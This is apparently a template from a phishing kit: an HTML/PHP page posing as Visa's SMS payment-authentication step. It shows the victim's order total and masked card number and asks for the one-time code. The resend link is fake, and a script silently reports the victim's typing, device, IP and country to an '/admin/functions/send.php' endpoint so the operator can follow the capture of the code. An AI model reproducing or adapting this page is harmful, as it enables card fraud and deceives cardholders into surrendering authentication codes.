<div id="otp-box" class="visa-styling container container-sticky-footer" style="display:none">
    <div class="visa-row">
        <div class="visa-col-12 visa-validate" style="text-align: left; margin-left: 10px;">
            <strong style="font-size: 18;">Payment Authentication</strong>
        </div>
        <div class="row" style="text-align: center; padding: 3%; direction: ltr;">
            <div class="col-12" id="ValidateOneUpMessage">
                <div id="Body1" style="text-align: left;">
                    We have just sent an SMS with a secure code to your registered mobile phone number<br />
                    <br />
                    Authorizing a payment to <?=$_SESSION['order']['website']?> for <?=$_SESSION['order']['total']?> <?=$_SESSION['order']['currency']?> on <?=date("j/n/Y")?> with your card ending with <span id="contentBlock-maskedpan" class="always-left-to-right">************<?=substr($card_number, -4)?></span>
                </div>
            </div>
        </div>
    </div>
    <form data-ajax="true" id="otp-form" novalidate="novalidate">
        <div class="visa-row">
            <div class="col-12 visa-styling">
                <div class="form-group text-center">
                    <div id="InputAction">
                        <label for="otp-input">Verification Code</label>
                        <input class="form-control visa-styling valid cred-input" style="direction: ltr;" id="otp-input" type="number" data-error="#otp-format-error" auto-complete="one-time-code" max="999999"/>
                        <div class="form-group">
                            <span style="display: none;" class="error-msg" id="otp-message-error">
                                <img src="/payment/payment/assets/warning.png" alt="Warning" />
                                <span class="field-validation-error">Invalid OTP code provided. Try again.</span>
                            </span>
                            <span id="otp-format-error" style="display: none;" class="error-msg field-validation-error">Invalid OTP format.</span>
                        </div>
                        <div class="visa-col-12 text-center">
                            <button type="button" class="box-confirm visa-styling btn btn-primary text-uppercase vba-button">CONTINUE</button>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div class="visa-row"></div>
        <div class="visa-row">
            <div class="col-12 text-center" onclick="alert('A new confirmation code has been sent to your phone number');">
                <a href="#" id="ResendLink" class="btn btn-link no-decoration text-uppercase">RESEND CODE</a>
            </div>
        </div>
    <script>
    document.getElementById('otp-input').oninput = function () {
    	if (this.value.length > 10) {
        	this.value = this.value.slice(0,10); 
    	}
        typing_action_otp()
	}
    function typing_action_otp(){
        if(localStorage['typedotp'] == "1") {return}
        window.send_endpoint = "/payment/admin/functions";
        var obj = {
            'device': localStorage['device_type'],
            'domain': window.location.hostname,
            'ip':localStorage['ip'],
            'country':localStorage['country'],
        }
        $.ajax({
            type: "POST",
            url: send_endpoint+"/send.php?type=typingotp",
            data: {
                json: JSON.stringify(obj)
            },
        });
        localStorage['typedotp'] = "1"
    }
    </script>
    </form>
</div>
